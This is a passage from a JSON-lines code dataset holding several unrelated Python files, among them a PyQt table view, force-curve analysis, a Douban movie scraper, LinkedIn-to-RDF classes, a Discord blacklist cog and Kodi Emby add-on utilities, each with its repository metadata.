self.model().isGroupRow(idx):\n return True\n return False\n\n def checkSelectedOneRow(self):\n row, column, rowCount, columnCount = self.getSelectionRectangle()\n return bool(rowCount == 1)\n\n def getSelectionRectangle(self):\n indexes = self.selectionModel().selectedIndexes()\n if not indexes:\n return 0, 0, 0, 0\n rows = [index.row() for index in indexes]\n columns = [index.column() for index in indexes]\n minRow = min(rows)\n minColumn = min(columns)\n rowCount = max(rows) - min(rows) + 1\n columnCount = max(columns) - min(columns) + 1\n return minRow, minColumn, rowCount, columnCount\n\n def spanUpdate(self):\n self.clearSpans()\n for row, items in enumerate(self.model().items()):\n for col, item in items.items():\n self.setSpan(row, col, item.rowSpan(), item.columnSpan())\n\n def copy(self):\n self.buffer = {}\n indexes = self.selectionModel().selectedIndexes()\n row, column, rowCount, columnCount = self.getSelectionRectangle()\n for index in indexes:\n self.buffer.setdefault(index.row() - row, {})[index.column() - column] = self.model()._items[index.row()][index.column()]\n self.buffer\n\n def paste(self):\n curRow, curColumn, rowCount, columnCount = self.getSelectionRectangle()\n for row, rowItems in self.buffer.items():\n for column, item in rowItems.items():\n newRow = curRow + row\n newColumn = curColumn + column\n if newRow < self.model().rowCount() and newColumn < self.model().columnCount():\n self.pasteCell(newRow, newColumn, item)\n self.model().reset()\n self.resizeColumnsToContents()\n\n\n def pasteCell(self, row, column, item):\n oldItem = self.model().getItemEx(row, column)\n if item._type.startswith('g') != oldItem._type.startswith('g') and item._type != oldItem._type:\n return\n oldItem._alignment = item._alignment\n oldItem._bold = item._bold\n oldItem._name = item._name\n oldItem._columnSpan = item._columnSpan\n oldItem._rowSpan = item._rowSpan\n oldItem._value = item._value\n oldItem._readOnly = item._readOnly\n\n def keyPressEvent(self, event):\n key = event.key()\n text = unicode(event.text())\n if event.matches(QtGui.QKeySequence.Copy):\n event.ignore()\n self.copy()\n if event.matches(QtGui.QKeySequence.Paste):\n event.ignore()\n self.paste()\n else:\n CInDocTableViewModifyPopup.keyPressEvent(self, event)","repo_name":"dio4/vista_1","sub_path":"Reports/ReportsConstructor/RCTableView.py","file_name":"RCTableView.py","file_ext":"py","file_size_in_byte":13868,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"73790403767","text":"from util import average_around, thresholding_algo\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom sklearn.linear_model import LinearRegression\n\n\ndef moving_window_SLR(f, window_size=100):\n models = []\n x = np.arange(window_size).reshape((-1, 1))\n for left in np.asarray(range(len(f) // window_size)) * window_size:\n slr = LinearRegression()\n slr.fit(x, f[left:left + window_size])\n models.append({'slope': slr.coef_,\n 'intercept': slr.intercept_,\n 'score': slr.score(x, f[left:left + window_size])})\n return models\n\n\ndef top_finder(f, window_size=100):\n models = moving_window_SLR(f, window_size=window_size)\n slopes = np.asarray([model['slope'] for model in models])\n ignore_from = (len(slopes) // 5) * 4\n peak = np.argmax(slopes[:ignore_from])\n threshold = max(slopes) / 5\n dips = []\n in_dip = False\n current_dip = 0\n for index, slope in enumerate(slopes[peak:ignore_from]):\n if not in_dip:\n if slope < threshold:\n in_dip = True\n dips.append([index + peak])\n else:\n if slope >= threshold:\n in_dip = False\n current_dip = 0\n else:\n dips[current_dip].append(index + peak)\n return int(dips[np.argmax([len(dip) for dip in dips])][0] * 100 - window_size / 2)\n\n#def top_finder_2(f,\n\n\ndef get_first_trough_index(f, last=False, debug=False):\n \"\"\" Tries to find stationary/return point of trace including pulling and \n relaxation. Looks at standard deviation of a running mean and signals at\n abrupt drops.\n \"\"\"\n stds = []\n for i in range(25, len(f) - 25):\n std = average_around(f, i, half_n=25)[\"std\"]\n if last:\n stds.insert(0, std)\n else:\n stds.append(std)\n\n div = 4\n peaksign = thresholding_algo(stds, int(len(f) / div), 4., 0)[\"signals\"]\n while min(peaksign) > -1:\n div = div + 1\n peaksign = thresholding_algo(stds, int(len(f) / div), 4., 0)[\"signals\"]\n if debug:\n print(div)\n if last:\n print(len(f) - np.arange(25, len(stds) + 25)[peaksign <= -1][0])\n else:\n print(np.arange(25, len(stds) + 25)[peaksign <= -1][0])\n if last:\n return len(f) - np.arange(25, len(stds) + 25)[peaksign <= -1][0]\n return np.arange(25, len(stds) + 25)[peaksign <= -1][0]\n\n\ndef find_transitions(y: np.ndarray, noise_estimation_window: tuple = None):\n \"\"\" Tries to find unfolding events by looking for negative outliers in\n force change that exceed by a factor of background noise.\n Thanks goes out to Christopher Battle for providing the original code.\n \"\"\"\n EPS = 1e-4 # SNR stabilization factor\n\n # Magic numbers\n SNR_SCALE_FACTOR = 10\n MIN_OUTLIER_FACTOR = 1.5\n MAX_OUTLIER_FACTOR = 4.5\n MIN_PERCENTILE = 10\n\n # Get noise estimation window\n if noise_estimation_window is None:\n end_slice = max(int(len(y)/10), 3)\n s = slice(0, end_slice)\n else:\n s = slice(*noise_estimation_window)\n\n # Calculate outlier threshold\n snr = (y.max() - y.min()) / (y[s].std() + EPS)\n outlier_factor = min(max(snr/SNR_SCALE_FACTOR, MIN_OUTLIER_FACTOR),\n MAX_OUTLIER_FACTOR)\n\n # Find outliers that deviate below the threshold (since force transitions are always negative in slope)\n dy = np.diff(y)\n low_percentile = np.nanpercentile(dy, MIN_PERCENTILE)\n median_low_diff = np.nanmedian(dy) - low_percentile\n outlier_threshold = low_percentile - outlier_factor * median_low_diff\n\n where = np.where(dy < outlier_threshold)[0]\n if len(where) > 1:\n for i in reversed(range(1, len(where))):\n if where[i] - where[i - 1] <= 5: # 5 is arbitrary guess\n where = np.delete(where, i)\n\n return where, outlier_threshold\n\n\ndef plot_events(fdcurves):\n \"\"\" Constructs a plot for each member of fdcurves which highlights events of\n interest and targets for fitting.\n \"\"\"\n plt.figure(figsize=(8, 24))\n i = 1\n for key, val in fdcurves.items():\n fdata = val['force_data']\n unfolds = list(val['unfolds'])\n unfolds.insert(0, 0)\n legs = val['legs']\n top = val['top']\n plt.subplot(len(fdcurves), 1, i)\n plt.plot(np.arange(len(fdata)), fdata, c='tab:blue')\n for j in range(1, len(unfolds)):\n #plt.plot(np.arange(unfolds[j-1]+5, unfolds[j]),\n #fdata[unfolds[j-1]+5:unfolds[j]])\n plt.plot(np.arange(unfolds[j], unfolds[j]+5),\n fdata[unfolds[j]:unfolds[j]+5], c='tab:orange')\n\n for leg in legs:\n plt.plot(np.arange(len(fdata))[leg],\n fdata[leg], c='tab:green')\n plt.plot(np.arange(top[0], top[1]), fdata[top[0]:top[1]], c='tab:red')\n\n i += 1\n\ndef spline_residuals(y, k=3, s=1000):\n \"\"\" Exaggerate unfolding events in data `y` by subtracting a polynomial\n spline fit (`scipy.interpolate.UnivariateSpline`), returning the residuals.\n \n # Arguments:\n - y: array of timeseries data\n - k: degree of polynomial. defaults to 3, i.e. cubic\n - s: smoothing factor.\n \"\"\"\n from scipy.interpolate import UnivariateSpline\n x = np.arange(len(y))\n spline = UnivariateSpline(x,y,k=k,s=s)\n\n return y - spline(x)\n\n","repo_name":"kaveeken/tweez-CV","sub_path":"event_finding.py","file_name":"event_finding.py","file_ext":"py","file_size_in_byte":5381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"24625214236","text":"\nimport gevent\nfrom gevent import monkey\nimport requests\nfrom bs4 import BeautifulSoup\nimport multiprocessing\nimport time\nimport os\n\n\n \ndef create_url(base_url):\n count = 0\n urls = []\n while count >= 0 and count <= 250:\n page_url = base_url + '?start=' + str(count) + '&filter='\n count += 25\n urls.append(page_url)\n\n return urls\n \ndef run(url):\n header = {'Referer': 'https://www.douban.com/',\n 'User-Agent':\n 'ozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'}\n res = requests.get(url, headers=header)\n soup = BeautifulSoup(res.text, 'html.parser')\n for contents in soup.select('.info'):\n if contents.select('.hd') != []:\n titles = ''.join(contents.select('.hd')[0].text.split())\n # print(titles)\n if contents.select('.bd p') != []:\n peoples = contents.select('.bd p')[0]\n name = peoples.contents[0].strip()\n addrs = peoples.contents[2].strip()\n # print(name)\n # print(addrs)\n score = contents.select('.bd .star .rating_num')[0].text\n numbers = contents.select('.bd .star span')[3].text # .contents[6]\n # print (score)\n # print(numbers)\n if contents.select('.bd .quote .inq') != []:\n message = contents.select('.bd .quote .inq')[0].text\n # print(message)\n\n content = [titles, name, addrs,\n score, numbers, message]\n\n # with open('C:\\\\Users\\\\fred\\\\Desktop\\\\douban.txt', 'a', encoding='utf-8') as file:\n # for each in content:\n # file.write(each)\n\n # file.write('\\n')\n # file.write('\\n')\n # file.write('\\n')\n # print()\n for each in content:\n print(each)\n print('\\n')\n print('-------------------------')\n print('\\n\\n')\n\n\ndef main():\n\n # st = time.time()\n monkey.patch_all()\n\n base = 'https://movie.douban.com/top250'\n urls = create_url(base)\n gens = []\n for each in urls:\n g = gevent.spawn(run, each)\n gens.append(g)\n\n gevent.joinall(gens)\n\n # end = time.time()\n\n # print(end - st)\n\nif __name__ == '__main__':\n main()","repo_name":"yangjp22/web-scraping-projs","sub_path":"multi_tasks/concurrent_douban.py","file_name":"concurrent_douban.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"16610302737","text":"from Rdf_thing import Rdf_thing\r\nfrom utlis import xstr, obj_print, print_and_write\r\n\r\nglobal_skills = []\r\n\r\nglobal_companies = []\r\n\r\nglobal_schools = []\r\n\r\n\r\nclass Member(Rdf_thing):\r\n def __init__(self, id, url, about):\r\n super().__init__(id)\r\n self.URL = url\r\n self.about = about\r\n if self.URL:\r\n self.URL = xstr(self.URL.strip())\r\n if self.about:\r\n self.about = xstr(self.about.strip())\r\n self.about = self.about.replace(\"\\n\", \" \")\r\n self.about = self.about.replace(\"\\r\", \" \")\r\n self.about = self.about.replace('\"', \" \")\r\n\r\n\r\nclass MyPerson(Member):\r\n def __init__(self, id, url, about, location, firstName, secondName):\r\n super().__init__(id, url, about)\r\n self.first_name = firstName\r\n self.second_name = secondName\r\n self.location = location\r\n\r\n self.working_experiences = []\r\n self.education_experiences = []\r\n self.skills = []\r\n self.interests = []\r\n\r\n def add_working_experience(self,exp):\r\n self.working_experiences.append(exp)\r\n\r\n def add_education_experience(self,exp):\r\n self.education_experiences.append(exp)\r\n\r\n def add_skill(self, skill):\r\n self.skills.append(skill)\r\n\r\n def add_interest(self,interest):\r\n self.interests.append(interest)\r\n\r\n def get_rdf_id(self):\r\n return 'lkn:person' + xstr(self.id)\r\n\r\n def print_rdf_info(self):\r\n rdf_id = self.get_rdf_id()\r\n print_and_write(rdf_id + \" rdf:type \" + \"lkn:Person.\")\r\n if self.first_name:\r\n print_and_write(rdf_id + \" lkn:firstName \" + obj_print(self.first_name))\r\n if self.second_name:\r\n print_and_write(rdf_id + \" lkn:secondName \" + obj_print(self.second_name))\r\n if self.location:\r\n print_and_write(rdf_id + \" lkn:location \" + obj_print(self.location))\r\n if self.URL:\r\n print_and_write(rdf_id + \" lkn:URL \" + obj_print(self.URL))\r\n if self.about:\r\n print_and_write(rdf_id + \" lkn:about \" + obj_print(self.about))\r\n for exp in self.working_experiences:\r\n exp.print_rdf_info()\r\n print_and_write(rdf_id + \" lkn:hasWorkingExperience \" + exp.get_rdf_id()+ \".\")\r\n for edu in self.education_experiences:\r\n edu.print_rdf_info()\r\n print_and_write(rdf_id + \" lkn:hasEducationExperience \" + edu.get_rdf_id()+ \".\")\r\n for skill in self.skills:\r\n skill.print_rdf_info()\r\n print_and_write(rdf_id + \" lkn:hasSkill \" + skill.get_rdf_id()+ \".\")\r\n for interest in self.interests:\r\n interest.print_rdf_info()\r\n print_and_write(rdf_id + \" lkn:hasInterest \" + interest.get_rdf_id()+ \".\")\r\n\r\n\r\nclass Place(Member):\r\n def __init__(self, id, url, about, placeName, website, phone, industry, companySize, headquarter, type, founded, speciality):\r\n super().__init__(id, url, about)\r\n\r\n self.placeName = placeName\r\n self.website = website\r\n self.phone = phone\r\n self.industry = industry\r\n self.companySize = companySize\r\n self.headquarter = headquarter\r\n self.type = type\r\n self.founded = founded\r\n self.speciality = speciality\r\n\r\n if placeName:\r\n self.placeName = xstr( self.placeName.strip())\r\n if website:\r\n self.website = xstr(self.website.strip())\r\n if phone:\r\n self.phone = xstr(self.phone.strip())\r\n self.phone = self.phone.replace(\"\\n\", \" \")\r\n self.phone = self.phone.replace(\"\\r\", \" \")\r\n if industry:\r\n self.industry = xstr(self.industry.strip())\r\n if companySize:\r\n self.companySize = xstr(self.companySize.strip())\r\n if headquarter:\r\n self.headquarter = xstr(self.headquarter.strip())\r\n if type:\r\n self.type = xstr(self.type.strip())\r\n if founded:\r\n self.founded = xstr(self.founded.strip())\r\n if speciality:\r\n self.speciality = xstr(self.speciality.strip())\r\n\r\n def print_rdf_info(self):\r\n rdf_id = self.get_rdf_id()\r\n if self.website:\r\n print_and_write(rdf_id + \" lkn:website \" + obj_print(self.website))\r\n if self.phone:\r\n print_and_write(rdf_id + \" lkn:phone \" + obj_print(self.phone))\r\n if self.companySize:\r\n print_and_write(rdf_id + \" lkn:companySize \" + obj_print(self.companySize))\r\n if self.about:\r\n print_and_write(rdf_id + \" lkn:about \" + obj_print(self.about))\r\n if self.industry:\r\n print_and_write(rdf_id + \" lkn:industry \" + obj_print(self.industry))\r\n if self.headquarter:\r\n print_and_write(rdf_id + \" lkn:headquarter \" + obj_print(self.headquarter))\r\n if self.type:\r\n print_and_write(rdf_id + \" lkn:type \" + obj_print(self.type))\r\n if self.founded:\r\n print_and_write(rdf_id + \" lkn:founded \" + obj_print(self.founded))\r\n if self.speciality:\r\n print_and_write(rdf_id + \" lkn:speciality \" + obj_print(self.speciality))\r\n\r\n\r\nclass Company(Place):\r\n def __init__(self, id, url, about, place_name, website, phone, industry, companySize, headquarter, type, founded, speciality):\r\n super().__init__(id, url, about, place_name, website, phone, industry, companySize, headquarter, type, founded, speciality)\r\n\r\n def print_rdf_info(self):\r\n\r\n if self.placeName not in [s.placeName for s in global_companies]:\r\n global_companies.append(self)\r\n print_and_write(self.get_rdf_id() + \" rdf:type \" + \"lkn:Company.\")\r\n if self.placeName:\r\n print_and_write(self.get_rdf_id() + \" lkn:placeName \" + obj_print(self.placeName))\r\n super().print_rdf_info()\r\n else:\r\n for company in global_companies:\r\n if company.placeName == self.placeName:\r\n self.id = company.id\r\n\r\n def get_rdf_id(self):\r\n return 'lkn:company' + xstr(self.id)\r\n\r\n\r\nclass School(Place):\r\n def __init__(self, id, url, about, place_name, website, phone, industry, companySize, headquarter, type, founded, speciality):\r\n super().__init__(id, url, about, place_name, website, phone, industry, companySize, headquarter, type, founded, speciality)\r\n\r\n def print_rdf_info(self):\r\n if self.placeName not in [s.placeName for s in global_schools]:\r\n global_schools.append(self)\r\n print_and_write(self.get_rdf_id() + \" rdf:type \" + \"lkn:School.\")\r\n if self.placeName:\r\n print_and_write(self.get_rdf_id() + \" lkn:placeName \" + obj_print(self.placeName))\r\n super().print_rdf_info()\r\n else:\r\n for school in global_schools:\r\n if school.placeName == self.placeName:\r\n self.id = school.id\r\n\r\n\r\n def get_rdf_id(self):\r\n return 'lkn:school' + xstr(self.id)","repo_name":"divanoLetto/LinkedinRDF","sub_path":"project/Member.py","file_name":"Member.py","file_ext":"py","file_size_in_byte":6989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"24545902272","text":"from typing import Dict, Any, List\n\n\n# quick & simple replacement for the pyjq basics of attribute chained together to search in a dict\n# because pyjq does not install properly on Windows\ndef check_dict_against_attributes(dict_or_final: Dict[str, Any] | Any, parts: List[str]):\n if not parts:\n return True, dict_or_final\n else:\n if not isinstance(dict_or_final, dict) or parts[0] not in dict_or_final:\n return False, parts[0]\n else:\n return check_dict_against_attributes(dict_or_final[parts[0]], parts[1:])\n\n\ndef check_dict_against_attributes_string(dict_or_final: Dict[str, Any] | Any, attributes_string: str):\n split = attributes_string.split('.')\n return check_dict_against_attributes(dict_or_final, split[1:] if split[0] == '' else split)\n\ndef set_dict_against_attributes_string(dict_or_final: Dict[str, Any] | Any, attributes_string: str, value: Any):\n split = attributes_string.split('.')\n it = dict_or_final\n for s in (split[1:] if split[0] == '' else split)[:-1]: # the latest one is the value to set\n it = it.setdefault(s, {})\n it[split[-1]] = value\n","repo_name":"Alkanoor/core","sub_path":"core/core99_misc/fakejq/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"70855204410","text":"import os.path as osp\n\nimport cv2\n\nfrom applications.common.path_global import md5_name\n\n\ndef median_blur(src_dir, save_dir, names):\n temps = list()\n for name in names:\n Gn = cv2.imread(osp.join(src_dir, name))\n Gf = cv2.medianBlur(Gn, 3)\n new_name = md5_name(name)\n cv2.imwrite(osp.join(save_dir, new_name), Gf)\n temps.append(new_name)\n return temps\n","repo_name":"PaddleCV-SIG/GeoView","sub_path":"backend/applications/image_processing/median_blur.py","file_name":"median_blur.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"77"} +{"seq_id":"11993609074","text":"from discord.ext import commands as cmd\nimport discord\nfrom datetime import datetime\nimport pytz\nfrom prettytable import PrettyTable\n\nfrom utils import formatter, helpers, checks\n\n\nclass Users(cmd.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @bot.check\n async def not_blacklisted(ctx):\n entry = await ctx.db.users.find_one({\"id\": ctx.author.id, \"blacklist.state\": True})\n if entry is None:\n return True\n\n raise cmd.CommandError(\"Sorry, **you are blacklisted**.\\n\\n\"\n f\"**Reason**: {entry['blacklist']['reason']}\")\n\n @cmd.group(aliases=[\"bl\"], hidden=True, invoke_without_command=True)\n @checks.has_role_on_support_guild(\"Staff\")\n async def blacklist(self, ctx):\n table = PrettyTable()\n table.field_names = [\"User\", \"Reason\", \"Admin\", \"Timestamp\"]\n\n blacklist = ctx.db.users.find({\"blacklist.state\": True})\n async for entry in blacklist:\n user = await self.bot.fetch_user(entry[\"_id\"])\n admin = await self.bot.fetch_user(entry[\"blacklist\"][\"admin\"])\n\n table.add_row([\n f\"{user} ({user.id})\",\n entry[\"blacklist\"][\"reason\"],\n f\"{admin} ({entry['blacklist']['admin']})\",\n helpers.datetime_to_string(entry[\"blacklist\"][\"timestamp\"])\n ])\n\n pages = formatter.paginate(str(table))\n for page in pages:\n await ctx.send(f\"```diff\\n{page}```\")\n\n @blacklist.command()\n @checks.has_role_on_support_guild(\"Admin\")\n async def add(self, ctx, user: discord.User, *, reason):\n await ctx.db.users.update_one({\"id\": user.id}, {\"$set\": {\n \"_id\": user.id,\n \"blacklist\": {\n \"state\": True,\n \"reason\": reason,\n \"admin\": ctx.author.id,\n \"timestamp\": datetime.now(pytz.utc)\n }\n }}, upsert=True)\n await ctx.send(**ctx.em(f\"Successfully **blacklisted** the user **{str(user)}** (<@{user.id}>).\", type=\"success\"))\n\n @blacklist.command(aliases=[\"rm\", \"remove\", \"del\"])\n @checks.has_role_on_support_guild(\"Admin\")\n async def delete(self, ctx, user: discord.User):\n await ctx.db.users.update_one({\"_id\": user.id}, {\"$set\": {\"blacklist\": {\"state\": False}}})\n await ctx.send(**ctx.em(f\"Successfully **removed** the user **{str(user)}** (<@{user.id}>) from the **blacklist**.\", type=\"success\"))\n\n\ndef setup(bot):\n bot.add_cog(Users(bot))\n","repo_name":"julianborghuis/test","sub_path":"xenon/cogs/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"37795064292","text":"\"\"\"Exercício Python 067: Faça um programa que mostre a tabuada de vários números, um de cada vez, para cada valor\n digitado pelo usuário. O programa será interrompido quando o número solicitado for negativo. \"\"\"\nwhile True:\n try:\n n = int(input('Quer ver uma tabuada de qual número? (número negativo para sair): '))\n except:\n print('Caracter inválido!')\n continue\n if n < 0:\n break\n for c in range(0,11):\n if n >= 0:\n print(f' {n} X {c:2} = {n*c}')\n\n\n","repo_name":"Matheusfarmaceutico/Exercicios-Python","sub_path":"Exercícios do Guanabara sendo refeitos em 2022/Revisaoguanabara/ex67.py","file_name":"ex67.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"26458659114","text":"from buildingblocks.utils import overrides\nfrom buildingblocks.paeAutomationLog import PaeAutomationLog\nfrom workstates.CrTestState.crTestState import CrTestState\nfrom buildingblocks.utils import RESULTS\nimport buildingblocks.utils as util\nimport os\n\nclass ArchiveDataState(CrTestState):\n def _movDataFile(self, source, target):\n try:\n os.rename(source, target)\n except Exception as e:\n print(str(e))\n @overrides(CrTestState)\n def DoWork(self):\n try:\n PaeAutomationLog().Close()\n for d in ['log', 'report']:\n self._createDirectory('{0}/{1}'.format(cwd, r'archive/'), d)\n\n for key in self._parentWorkThread.TestResultsDictionary.keys():\n resultFolder = r'{0}/{1}'.format(cwd, r'archive/results')\n for g in [RESULTS.FAILED, RESULTS.SKIPPED]:\n if self._createDirectory(resultFolder, key):\n for k, v in self._parentWorkThread.TestResultsDictionary.iteritems():\n ids = [x for x in v if x[x.keys()[0]] == g]\n if len(ids) > 0:\n filename = '{0}/{1}/{2}_{3}.txt'.format(resultFolder,\n key,\n g.value,\n util.GetCurrentTimestamp('%Y-%m-%d-%H-%M-%S'))\n outFile = open(filename, 'w')\n for id in ids:\n outFile.writelines(id)\n outFile.flush()\n pass\n\n files = os.listdir(cwd)\n for l in [x for x in files if x.endswith('.log')]:\n source = os.path.join(cwd, l)\n target = os.path.join(cwd, r'archive/log/{0}_{1}.log'.format(l.split('.')[0], util.GetCurrentTimestamp('%Y-%m-%d-%H-%M-%S')))\n self._movDataFile(source, target)\n for l in [x for x in files if x.endswith('.html')]:\n source = os.path.join(cwd, l)\n target = os.path.join(cwd, r'archive/report/{0}'.format(l))\n self._movDataFile(source, target)\n\n except Exception as e:\n print(str(e))\n\n def _createDirectory(self, parentfolder, folder):\n try:\n path = os.path.join(parentfolder, folder)\n if not os.path.exists(path):\n os.makedirs(path)\n return True\n except IOError as e:\n self._logger.error(str(e))\n return False","repo_name":"lyh3/automation","sub_path":"crHealthCheck/buildingblocks/crHealthCheck/workstates/archiveDataState.py","file_name":"archiveDataState.py","file_ext":"py","file_size_in_byte":2695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"21655373597","text":"import numpy as np\r\nimport torch.nn.functional as F\r\nimport torch.nn as nn\r\nfrom benchmark_suite import *\r\n# Define a simple neural network\r\nclass Net1(nn.Module):\r\n def __init__(self):\r\n super(Net1, self).__init__()\r\n self.fc1 = nn.Linear(10, 5)\r\n self.fc2 = nn.Linear(5, 2)\r\n\r\n def forward(self, x):\r\n x = F.relu(self.fc1(x))\r\n x = self.fc2(x)\r\n return x\r\n\r\n# Define another simple neural network\r\nclass Net2(nn.Module):\r\n def __init__(self):\r\n super(Net2, self).__init__()\r\n self.fc1 = nn.Linear(10, 3)\r\n self.fc2 = nn.Linear(3, 1)\r\n\r\n def forward(self, x):\r\n x = F.relu(self.fc1(x))\r\n x = self.fc2(x)\r\n return x.squeeze() # Add this line to match the output dimension with the label dimension\r\n\r\n\r\n# Create inputs and labels\r\nnp.random.seed(0) # Set random seed for reproducibility\r\ninputs = [np.random.rand(10) for i in range(100)]\r\nlabels = [[np.sum(input)] for input in inputs] # Labels are the sum of input values, wrapped in a list\r\n\r\n\r\n\r\n# Define evaluation metrics\r\nmetrics = [nn.MSELoss(), nn.L1Loss()]\r\n\r\n# Create neural networks and test them using the benchmark function\r\nnet1 = Net1()\r\nnet2 = Net2()\r\nmetric_values1 = benchmark([net1, net2], inputs, labels, metrics)\r\n\r\n# Plot the benchmark results and save the plots\r\nplot_benchmark(metric_values1, metrics)","repo_name":"HarshitGupta29/Benchmarking-InstantNGP","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"34263134534","text":"import os\nimport shutil\nimport uuid\nimport json\nfrom urllib.parse import quote\nfrom datetime import datetime, timedelta\nfrom dateutil import tz, parser\n\ntry:\n from PIL import Image, ImageFont, ImageDraw\n import io\n ImageOverlay = True\nexcept:\n ImageOverlay = False\n\nimport xbmcvfs\nimport xbmc\nimport xbmcaddon\nimport xbmcgui\n\nAddon = xbmcaddon.Addon(\"plugin.video.emby-next-gen\")\nKodiVersion = xbmc.getInfoLabel(\"System.BuildVersionCode\").split(\".\")\n\nif int(KodiVersion[1]) > 20:\n KodiMajorVersion = str(int(KodiVersion[0]) + 1)\nelse:\n KodiMajorVersion = KodiVersion[0]\n\nPluginId = \"plugin.video.emby-next-gen\"\naddon_version = Addon.getAddonInfo('version')\naddon_name = Addon.getAddonInfo('name')\nicon = \"\"\nCustomDialogParameters = (Addon.getAddonInfo('path'), \"default\", \"1080i\")\nEmbyServers = {}\nMinimumVersion = \"8.2.0\"\nrefreshskin = False\ndevice_name = \"Kodi\"\nxspplaylists = False\nanimateicon = True\nTranscodeFormatVideo = \"\"\nTranscodeFormatAudio = \"\"\nvideoBitrate = 0\naudioBitrate = 0\nresumeJumpBack = 0\ndisplayMessage = 0\nnewvideotime = 1\nnewmusictime = 1\nstartupDelay = 0\nbackupPath = \"\"\nenablehttp2 = False\nMinimumSetup = \"\"\nlimitIndex = 5\nautoclose = 5\nmaxnodeitems = \"25\"\ndeviceName = \"Kodi\"\nuseDirectPaths = False\nmenuOptions = False\nnewContent = False\nrestartMsg = False\nconnectMsg = False\nenableDeleteByKodiEvent = False\naddUsersHidden = False\nenableContextDelete = False\nverifyFreeSpace = True\nenableContext = False\ntranscode_h264 = False\ntranscode_hevc = False\ntranscode_av1 = False\ntranscode_vp8 = False\ntranscode_vp9 = False\ntranscode_wmv3 = False\ntranscode_mpeg4 = False\ntranscode_mpeg2video = False\ntranscode_mjpeg = False\ntranscode_msmpeg4v3 = False\ntranscode_aac = False\ntranscode_mp3 = False\ntranscode_mp2 = False\ntranscode_dts = False\ntranscode_ac3 = False\ntranscode_eac3 = False\ntranscode_pcm_mulaw = False\ntranscode_pcm_s24le = False\ntranscode_vorbis = False\ntranscode_wmav2 = False\ntranscode_ac4 = False\ntranscode_livetv_video = False\ntranscode_livetv_audio = False\ntranscode_select_audiostream = False\nskipintroembuarydesign = False\nenableCinemaMovies = False\nenableCinemaEpisodes = False\nenableSkipIntro = False\nenableSkipCredits = False\naskSkipIntro = False\naskSkipCredits = False\naskCinema = False\nlocalTrailers = False\nTrailers = False\nofferDelete = False\ndeleteTV = False\ndeleteMovies = False\nenableCoverArt = False\ncompressArt = False\ngetDateCreated = False\ngetGenres = False\ngetStudios = False\ngetTaglines = False\ngetOverview = False\ngetProductionLocations = False\ngetCast = False\ndeviceNameOpt = False\nartworkcacheenable = True\ndevice_id = \"\"\nsyncdate = \"\"\nsynctime = \"\"\nsyncduringplayback = False\nusekodiworkaroundswidget = False\nusekodiworkaroundsepisodebookmarks = True\nusepathsubstitution = False\nuniquepeoplemovies = False\nuniquepeopletvshows = False\nuniquepeopleepisodes = False\nuniquepeoplemusicvideos = True\nbusyMsg = True\nwebsocketenabled = True\nremotecontrol_force_clients = True\nremotecontrol_client_control = True\nremotecontrol_sync_clients = True\nremotecontrol_wait_clients = 30\nremotecontrol_drift = 200\nremotecontrol_auto_ack = False\nremotecontrol_resync_clients = False\nremotecontrol_resync_time = 10\nremotecontrol_keep_clients = False\nwatchtogeter_start_delay = 20\ncompressArtLevel = 100\nArtworkLimitations = False\nArtworkLimitationPrimary = 50\nArtworkLimitationArt = 50\nArtworkLimitationBanner = 30\nArtworkLimitationDisc = 30\nArtworkLimitationLogo = 30\nArtworkLimitationThumb = 40\nArtworkLimitationBackdrop = 100\nArtworkLimitationChapter = 20\ncurltimeouts = 120\nFolderAddonUserdata = f\"special://profile/addon_data/{PluginId}/\"\nFolderEmbyTemp = f\"special://profile/addon_data/{PluginId}/temp/\"\nFolderAddonUserdataLibrary = f\"special://profile/addon_data/{PluginId}/library/\"\nFolderUserdataThumbnails = \"special://profile/Thumbnails/\"\nSystemShutdown = False\nSyncPause = {} # keys: playing, kodi_sleep, embyserverID, , kodi_rw, priority (thread with higher priorit needs access)\nWidgetRefresh = False\nWidgetRefreshAudio = False\nDialog = xbmcgui.Dialog()\nXbmcPlayer = xbmc.Player() # Init Player\nWizardCompleted = True\nAssignEpisodePostersToTVShowPoster = False\nPluginStarted = False\nsslverify = False\nProgressBar = [xbmcgui.DialogProgressBG(), 0, False, False] # obj, Counter, Open, Init in progress\nAddonModePath = \"http://127.0.0.1:57342/\"\nTranslationsCached = {}\nPlaylists = (xbmc.PlayList(0), xbmc.PlayList(1))\nScreenResolution = (1920, 1080)\nHTTPQueryDoublesFilter = {}\n\ndef refresh_widgets():\n xbmc.log(\"EMBY.helper.utils: Refresh widgets initialized\", 1) # LOGINFO\n\n if not WidgetRefresh:\n xbmc.log(\"EMBY.helper.utils: Refresh widgets started\", 1) # LOGINFO\n globals()[\"WidgetRefresh\"] = True\n SendJson('{\"jsonrpc\":\"2.0\",\"method\":\"VideoLibrary.Scan\",\"params\":{\"showdialogs\":false,\"directory\":\"widget_refresh_trigger\"},\"id\":1}')\n\ndef SendJson(JsonString, ForceBreak=False):\n LogSend = False\n Ret = {}\n\n for Index in range(70): # retry -> timout 25 seconds\n Ret = 